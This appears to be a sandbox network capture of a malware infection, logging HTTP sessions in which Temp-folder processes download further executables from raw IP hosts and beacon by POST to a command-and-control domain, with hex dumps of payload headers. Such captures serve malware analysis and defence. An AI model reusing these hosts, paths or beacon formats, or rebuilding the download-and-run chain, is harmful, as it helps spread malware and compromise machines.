Dec 20, 2024 17:43:44.273721933 CET	338	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 39 34 0d 0a 20 3c 63 3e 31 30 30 30 31 32 38 30 31 30 31 2b 2b 2b 65 33 65 37 36 64 63 34 65 61 33 33 65 34 34 63 33 64 37 63 64 66 30 35 34 39 32 63 36 35 37 35 62 33 34 36 66 39 38 37 66 66 36 37 34 61 64 32 64 61 33 39 35 38 31 31 62 66 63 61 66 63 37 39 31 34 33 31 31 64 66 37 31 31 62 32 38 38 39 32 30 64 38 34 61 32 65 65 61 62 61 62 64 63 37 36 62 64 62 38 31 62 31 39 65 31 33 30 31 61 38 66 33 66 62 31 36 62 62 64 31 38 38 64 31 34 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 94 <c>10001280101+++e3e76dc4ea33e44c3d7cdf05492c6575b346f987ff674ad2da395811bfcafc7914311df711b288920d84a2eeababdc76bdb81b19e1301a8f3fb16bbd188d14#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49769	31.41.244.11	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:44.229264021 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 17:43:45.557961941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:45 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 20, 2024 17:43:45.558003902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:45.558017015 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:45.558085918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:45.558273077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ])u-piTJ32d<eA}
Dec 20, 2024 17:43:45.558284998 CET	1236	IN	Data Raw: 21 cf 66 2e ba 16 26 9b 62 40 6b 92 4d 3f 11 5b 40 8d 52 21 cb d4 f8 c0 34 66 c1 b5 39 24 f2 13 7d b9 bf 75 bd d7 8b 62 c7 b9 e7 ae 7a 6f a1 06 5f 08 e4 a1 31 a9 7e f1 03 7c fe 9b 75 11 2e 8a 82 79 f9 f9 25 75 52 7d 09 2d 20 4e fc 23 00 60 02 28 Data Ascii: !f.&b@kM?[@R!4f9$}ubzo_1~\|u.y%uR}- N#`(W%:YPhnTbGh"CMGC3DlPMgQVJGPn@G-&PU 2dhCac^la]EJQ-vMWY$G!:yEu^nD
Dec 20, 2024 17:43:45.558296919 CET	1236	IN	Data Raw: 8a 08 49 6d 5b 11 8b ee 01 de e4 ce 4d 5a 41 fc 72 5a f0 37 a9 4a 65 cf c0 37 97 0c c6 50 fc a8 71 eb a0 4c 94 fd 0c cf c6 5a 96 15 c4 10 60 43 50 8d 74 f1 ac 0d b9 a5 c7 bd 93 62 c7 1e 9c db 3f da 29 d2 2a 5f 31 48 0a 4d 82 b2 11 9f e7 6b 4b bc Data Ascii: Im[MZArZ7Je7PqLZ`CPtb?)*_1HMkKG\|}9=lgB\o AYcjbRyN8u'qpPE7Bj,6 ~#XeKAdLvMf&IqvVJ>d#[4+Zr%LZ^;G}0"&\
Dec 20, 2024 17:43:45.558315039 CET	1236	IN	Data Raw: 7c 29 62 ff ab c6 34 b6 5e 1c 9b 83 26 a2 83 a6 5f a8 bc e8 5c ce 39 75 cd f1 ed f8 b3 e3 97 42 ff a1 7f a7 db a7 aa ee 79 fb bd e0 01 f0 75 43 3f 1f a1 8f a4 3d 5f cf 34 31 dc f9 8b 3c d0 2d ae c5 99 dc 63 0d 72 8b dc 26 21 8f 4f 11 3a 1c f1 f1 Data Ascii: \|)b4^&_\9uByuC?=_41<-cr&!O:}Y5=B`u^l,)0C&aXHPFAE3.p'?U_I3Y$VH_0;xcnwt`7bx,Q:J?1OGek?VUTX5Kx<DEO"
Dec 20, 2024 17:43:45.561014891 CET	1236	IN	Data Raw: 0a ac ef 14 5e 55 76 f7 73 9a e7 7b ba 1a 92 fa f4 0e 50 f9 43 2d 7d 8f b3 6e e0 d6 bc 34 e2 b6 36 36 94 b9 94 e7 a0 9d 99 f4 10 46 33 37 b7 b1 15 57 e9 b0 49 ed fb 0e a2 98 9a ce 5f 39 07 49 e5 31 ee f6 c4 ea ed c9 93 b2 8d cc e5 46 e5 4e c5 e2 Data Ascii: ^Uvs{PC-}n466F37WI_9I1FN^O`>AcrK>xVlDe[&.1g>6APf~nTG.~*bS239bFavroZ-i}<P"E@fBp{}E
Dec 20, 2024 17:43:45.561037064 CET	1236	IN	Data Raw: 5a da fe 4f 6c e3 ff 46 b8 50 e6 43 ac 01 9f 51 71 e0 29 ad 40 0d 6a 0b 4c cc ee a8 35 1a 62 3b 2a f0 31 fe 73 71 bd 1a db b6 f1 cb 03 d9 dc cf c2 b3 0b 21 d3 ae 28 b9 ae c5 81 1a f5 44 84 cf 7b 19 3b bc 09 58 a9 a1 15 b9 30 90 71 c1 5e cc 03 1d Data Ascii: ZOlFPCQq)@jL5b;*1sq!(D{;X0q^'@N{K}/jDr"Y~$E:eIC#=wJxyG`=F-e9w'{+aM/zVuYIOF:,a&\|>{D,Q
Dec 20, 2024 17:43:45.679919958 CET	1236	IN	Data Raw: 49 ab 71 3c 6c 26 91 da 3d c9 79 a5 c5 b3 03 cb f7 4d e8 6e be a6 56 59 7f e4 e2 fe f8 b7 d8 7b db 67 ab ee 62 b7 eb 7c 7d f7 c5 89 fa 01 1e 97 a9 12 b0 80 bd b2 f7 b2 56 1e c3 7f 62 c1 99 c4 33 31 f1 7d 4d 50 ad bf 51 bd 8e dc be 00 dd 48 b2 8e Data Ascii: Iq<l&=yMnVY{gb\|}Vb31}MPQHqzbV.Pi*-}d9-Am@&1,Cl\u>HaqDALM8b;q,]52Abmp.~5L{!v1SuZQ69IIUYP[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49776	194.126.174.112	80	7264	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:45.899172068 CET	81	OUT	GET /files/Bawerfools/Bestsoundeffectives.exe HTTP/1.1 Host: 194.126.174.112
Dec 20, 2024 17:43:47.137336016 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:46 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sat, 17 Aug 2024 14:54:08 GMT ETag: "102620-61fe23f758400" Accept-Ranges: bytes Content-Length: 1058336 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 18 93 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 aa 0f 00 00 08 00 00 00 00 00 00 be c9 0f 00 00 20 00 00 00 e0 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 10 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 c9 0f 00 4b 00 00 00 00 e0 0f 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 b4 0f 00 20 72 00 00 00 00 10 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeg @ `pK r H.text `.rsrc@@.reloc@BH\((%~:rp(&o's(~~j(r9p~o)tq(&rEp((+o,&((o-~%:&~s.%(+(.sFo0rYp(1(2BrpsA{"}{"}frp}(B}"(C{%s;on%s?op"(%
Dec 20, 2024 17:43:47.137348890 CET	1236	IN	Data Raw: 73 3b 01 00 06 6f 6f 00 00 06 03 02 25 fe 07 1d 00 00 06 73 3f 01 00 06 6f 71 00 00 06 2a 22 02 03 28 1a 00 00 06 2a 06 2a 36 02 04 6f d3 02 00 06 28 21 00 00 06 2a 36 02 04 6f 0a 03 00 06 28 21 00 00 06 2a 1e 02 28 1e 00 00 06 2a 1e 02 28 47 00 Data Ascii: s;oo%s?oq"(6o(!6o(!((G:(G}{{"}{"}{"}{"}{"}{"}{"}{"}
Dec 20, 2024 17:43:47.137360096 CET	1236	IN	Data Raw: 00 04 02 28 75 00 00 0a 02 28 2d 01 00 06 2a 3e 02 02 03 75 27 00 00 01 04 28 dd 00 00 06 2a 2a 02 02 03 04 28 dd 00 00 06 2a 2a 02 02 03 04 28 dc 00 00 06 2a 32 02 7b 3e 00 00 04 6f 81 00 00 06 2a 36 02 7b 3e 00 00 04 03 6f 82 00 00 06 2a 32 02 Data Ascii: (u(->u'(((2{>o6{>o2{>o2{>o6{>o2{>o6{>o2{>o6{>o2{>o2{>o6{>o2{>o6{>o2
Dec 20, 2024 17:43:47.137583971 CET	1236	IN	Data Raw: 03 04 28 01 01 00 0a 2a 66 02 72 09 10 00 70 03 28 c3 00 00 0a 28 8b 01 00 06 02 03 7d 74 00 00 04 2a 3e 02 04 28 8b 01 00 06 02 03 7d 74 00 00 04 2a 42 02 04 05 28 8c 01 00 06 02 03 7d 74 00 00 04 2a 1e 02 7b 74 00 00 04 2a 1e 02 28 8a 01 00 06 Data Ascii: (frp((}t>(}tB(}t{t("(&(r[p(rp((}u}v{u{vrp{uorp{vo(vrp}wrp}x(G*r
Dec 20, 2024 17:43:47.137595892 CET	1236	IN	Data Raw: 04 02 7b ae 00 00 04 39 0b 00 00 00 02 7b ae 00 00 04 6f 06 00 00 0a 2a 1e 02 28 2f 02 00 06 2a 1e 02 7b af 00 00 04 2a 7a 02 28 25 00 00 0a 02 03 7d b0 00 00 04 02 28 10 01 00 0a 6f 11 01 00 0a 7d b1 00 00 04 2a 7a 02 15 7d b0 00 00 04 02 7b bb Data Ascii: {9{o(/{z(%}(o}z}{9{oz}{9{o(9{z(%}(o}z}{9{o(B{z(%}(
Dec 20, 2024 17:43:47.137607098 CET	1236	IN	Data Raw: 00 0a 02 03 7d 0a 01 00 04 02 04 7d 0b 01 00 04 2a 72 02 28 bd 01 00 0a 02 03 7d 11 01 00 04 02 04 7d 12 01 00 04 02 05 7d 13 01 00 04 2a 1e 02 7b 11 01 00 04 2a 1e 02 7b 12 01 00 04 2a 1e 02 7b 13 01 00 04 2a 1e 02 7b 14 01 00 04 2a 22 02 03 7d Data Ascii: }}r(}}}{{{{"}J(%s7(:(%(2(o'6(o(2(o)6(o*2(o+6(o,2(o-6(o.2(o/6
Dec 20, 2024 17:43:47.137619972 CET	1236	IN	Data Raw: 38 12 00 00 00 00 28 06 00 00 06 0a dd 06 00 00 00 26 dd 00 00 00 00 06 2c eb 73 33 00 00 0a 0b 07 72 a5 00 00 70 28 34 00 00 0a 6f 35 00 00 0a 07 72 d7 00 00 70 28 34 00 00 0a 6f 36 00 00 0a 07 6f 37 00 00 0a 06 16 06 8e 69 6f 38 00 00 0a 0a dd Data Ascii: 8(&,s3rp(4o5rp(4o6o7io89o"6X0`~9~o::to;rpo<o=to;rpo<o=to;
Dec 20, 2024 17:43:47.138050079 CET	1236	IN	Data Raw: 07 28 62 00 00 0a dc 06 3a 17 00 00 00 02 7b 2b 00 00 04 39 0c 00 00 00 02 7b 2d 00 00 04 6f 63 00 00 0a 26 02 7b 2d 00 00 04 2a 00 00 00 01 10 00 00 02 00 1a 00 1c 36 00 07 00 00 00 00 1b 30 02 00 a5 00 00 00 0a 00 00 11 02 7b 30 00 00 04 39 12 Data Ascii: (b:{+9{-oc&{-60{09{0oO}0{19{1joF{.:}.}+{-9{-oc&{.:}.{(9{(oe
Dec 20, 2024 17:43:47.138062954 CET	1236	IN	Data Raw: 73 07 03 00 06 6f 39 01 00 06 11 0a 16 6a 6f 46 00 00 0a 02 09 11 08 11 0a 28 14 01 00 06 13 0b 11 0b 7b 19 01 00 04 0b dd 0f 00 00 00 11 09 39 07 00 00 00 11 09 6f 4f 00 00 0a dc dd 09 00 00 00 06 39 02 00 00 00 14 0a dc 07 2a 00 00 41 4c 00 00 Data Ascii: so9joF({9oO9*ALgE0(9(o~t(o(o(o(o
Dec 20, 2024 17:43:47.138075113 CET	1236	IN	Data Raw: 79 00 00 0a 0b 06 6f b8 00 00 06 13 04 73 f7 02 00 06 13 05 06 6f 9f 00 00 06 6f 33 00 00 06 39 12 00 00 00 11 05 06 6f 9f 00 00 06 6f 33 00 00 06 6f e5 02 00 06 11 05 06 6f 9f 00 00 06 6f 29 00 00 06 6f db 02 00 06 11 05 06 6f 9f 00 00 06 6f 2b Data Ascii: yosoo39oo3ooo)ooo+ooo-ooo'ooo/ooo1oo9JoojoF(\|ozjoFo{{js
Dec 20, 2024 17:43:47.257143021 CET	1236	IN	Data Raw: 7c 00 00 0a 7d 35 00 00 04 08 6f ba 00 00 06 0b 02 7b 47 00 00 04 39 2b 00 00 00 02 08 6f b8 00 00 06 7b 0d 01 00 04 08 6f b8 00 00 06 7b 0f 01 00 04 6a 07 73 07 03 00 06 6f 39 01 00 06 07 16 6a 6f 46 00 00 0a 02 09 07 28 30 01 00 06 0b 02 08 6f Data Ascii: \|}5o{G9+o{o{jso9joF(0o({9oO0;((:(o(9(:rpsz0!rp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49791	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:51.489439011 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018694001&unit=246122658369
Dec 20, 2024 17:43:52.827102900 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49793	89.35.131.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:51.560081959 CET	196	OUT	POST /3ofn3jf3e2ljk/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: cobolrationumelawrtewarms.com Content-Length: 32 Cache-Control: no-cache Data Raw: 65 32 3d 31 30 30 30 31 32 38 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e2=10001280101&unit=246122658369
Dec 20, 2024 17:43:52.866771936 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49799	31.41.244.11	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:52.948607922 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 17:43:54.271919966 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:54 GMT Content-Type: application/octet-stream Content-Length: 4495360 Last-Modified: Fri, 20 Dec 2024 16:42:01 GMT Connection: keep-alive ETag: "67659e59-449800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 00 ca 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 ca 00 00 04 00 00 21 a5 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 ed c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 ed c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2pH@0!D@ _pts`tP PtL(@.rsrc`t\(@.idata pt^(@ `9t`(@yefovaelb(@eavrkykjrD@.taggant0"vD@
Dec 20, 2024 17:43:54.272017002 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:54.272028923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:54.272103071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:54.272114992 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:54.272135973 CET	1236	IN	Data Raw: ef a0 8c 3a 67 f0 cd fd 72 b4 36 f2 73 d0 59 dd 2d 35 da e1 77 c7 ea 31 ae 51 e5 68 3a 96 73 2e ae 14 df e9 7f 81 70 77 8f c4 99 27 07 7f f9 ad 68 7d a5 b4 7d 41 4d dd 62 03 09 10 4f dc ae d5 46 56 c5 b1 34 4f 82 e6 51 a6 7e 04 b6 ca 53 7b 32 4d Data Ascii: :gr6sY-5w1Qh:s.pw'h}}AMbOFV4OQ~S{2Mq[b$u5Wm'KF.n3:(B_DqlC\|;_rxU,IJnsj%(E?6A}?8-l/ct3 ?"7!XI!pLs
Dec 20, 2024 17:43:54.272149086 CET	1236	IN	Data Raw: c3 84 ed 52 ae c2 eb 7e d3 18 6b 01 fb ae 65 16 53 b5 c9 cb 80 91 71 90 b3 ed ec a6 bb f6 01 4b cb 00 54 18 bc 6b f4 9e da f4 35 27 38 e8 bc fe bb 01 4f 40 02 22 3b 41 4a 06 ec 33 bf 02 75 83 8e 1e 9d c1 f6 a0 fb ba 4d 94 f4 c8 2a 7c f0 ca da cb Data Ascii: R~keSqKTk5'8O@";AJ3uM*\|]4A"8y2m6Nvk.DJwvg%@}lo)>^)4nbr)`nN}Jvwkzy_N\ANMg
Dec 20, 2024 17:43:54.272548914 CET	1236	IN	Data Raw: 57 4f 4b 69 3f f2 49 ce 3a fa 65 22 3f f3 6d 73 2e 93 e0 98 85 f1 29 e2 de 5e 81 2d 88 57 f2 de f5 55 08 d1 98 51 84 c5 21 38 a2 18 79 4c 67 7c 08 9c 6a ed 55 75 d5 6a af 06 96 ed 31 6e 74 e9 0d 64 78 94 b6 2e b6 e2 52 84 d2 e9 33 ae 95 4c b5 04 Data Ascii: WOKi?I:e"?ms.)^-WUQ!8yLg\|jUuj1ntdx.R3LTQdAoKIy3%o,Y2~~j[ca'ae\|1>lw=}0M9PM#grWZtt6&(u4sp1<0
Dec 20, 2024 17:43:54.272561073 CET	1236	IN	Data Raw: 88 02 c8 e9 13 a4 c6 74 3e 41 b2 74 31 68 09 fa af 83 e9 f0 a1 2d d8 1d 30 47 36 0b eb 1e b1 5b 7a 52 31 fd 3d 1d 2b f5 30 6b 4b 76 08 41 09 30 ff ab 35 09 4b 1d 42 a6 ad 73 c8 87 1b 34 2e 07 6d d2 56 fb 28 ea ff c6 2d d3 2a de 0f 49 f1 e4 bc 04 Data Ascii: t>At1h-0G6[zR1=+0kKvA05KBs4.mV(-*I`MQCL"+nCJB\|[U"Iv#d1bG5Sz81kiF1[w$y;;[\[?=yA}Xda}!^UK^IxnHEX!}Gc<L
Dec 20, 2024 17:43:54.272572994 CET	1236	IN	Data Raw: f2 3a 21 0a 2c 38 d8 4e 69 4f 49 f6 cb 14 74 0d 62 86 84 c8 e1 cb d4 1c af 1a ed 8d f7 a5 ed c0 ca ab 1d 5b aa b8 0e 70 63 a0 24 cc f5 4b f5 43 f7 a8 bd c0 e1 3c d3 be 5e 53 f5 16 5a ac 99 ee ab 9f 25 5e c0 c4 cd 90 46 35 12 00 74 47 8f 19 8c 86 Data Ascii: :!,8NiOItb[pc$KC<^SZ%^F5tGj}ZDgv#9?)-j*eB"6{A(y#.6}= }G47B4hG^5-z0H0qr##C;E75+$!Z
Dec 20, 2024 17:43:54.391627073 CET	1236	IN	Data Raw: 07 cd 8a 79 fd 8f e8 6f 15 47 ea b1 0d ba d6 1f 37 9a 5f 41 36 75 41 01 33 81 e7 f7 09 c4 a6 e9 b0 9c 35 fa 32 ea e5 a5 41 e8 1a 0a 97 a8 54 f8 c5 e3 d9 8b 32 f6 77 10 06 e8 c9 61 1d fa e4 0c 04 fd 83 6d 0b 02 98 a6 4e ce 7c 57 fb c6 87 31 3b b2 Data Ascii: yoG7_A6uA352AT2wamN\|W1;e]6]?v.IV:FA0\JrnwC_e$r5Ei\|`<Fa=O5>5J5GVhLsS,9$X?u*uk"wsHu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49807	89.35.131.209	80	7264	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:54.617870092 CET	167	OUT	POST /3ofn3jf3e2ljk/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: cobolrationumelawrtewarms.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 17:43:55.859618902 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49815	89.35.131.209	80	7264	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:57.500211954 CET	325	OUT	POST /3ofn3jf3e2ljk/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: cobolrationumelawrtewarms.com Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 45 32 46 37 32 33 38 36 45 34 32 41 46 41 34 46 33 36 37 45 43 34 30 43 34 38 32 43 37 32 33 32 46 37 34 38 45 32 39 38 46 46 36 35 31 36 44 30 38 39 33 31 30 42 35 33 41 33 45 41 41 43 36 31 30 32 37 39 34 41 46 41 31 37 45 34 43 41 44 43 33 44 44 42 45 31 45 41 42 42 46 45 39 42 32 44 45 31 45 38 34 38 34 41 46 31 33 44 35 34 38 33 32 37 42 33 37 31 46 44 31 38 39 30 30 33 44 34 43 35 35 42 45 32 34 34 35 43 34 35 42 34 41 32 41 41 37 45 30 36 39 41 46 42 44 36 43 35 Data Ascii: r=E2F72386E42AFA4F367EC40C482C7232F748E298FF6516D089310B53A3EAAC6102794AFA17E4CADC3DDBE1EABBFE9B2DE1E8484AF13D548327B371FD189003D4C55BE2445C45B4A2AA7E069AFBD6C5
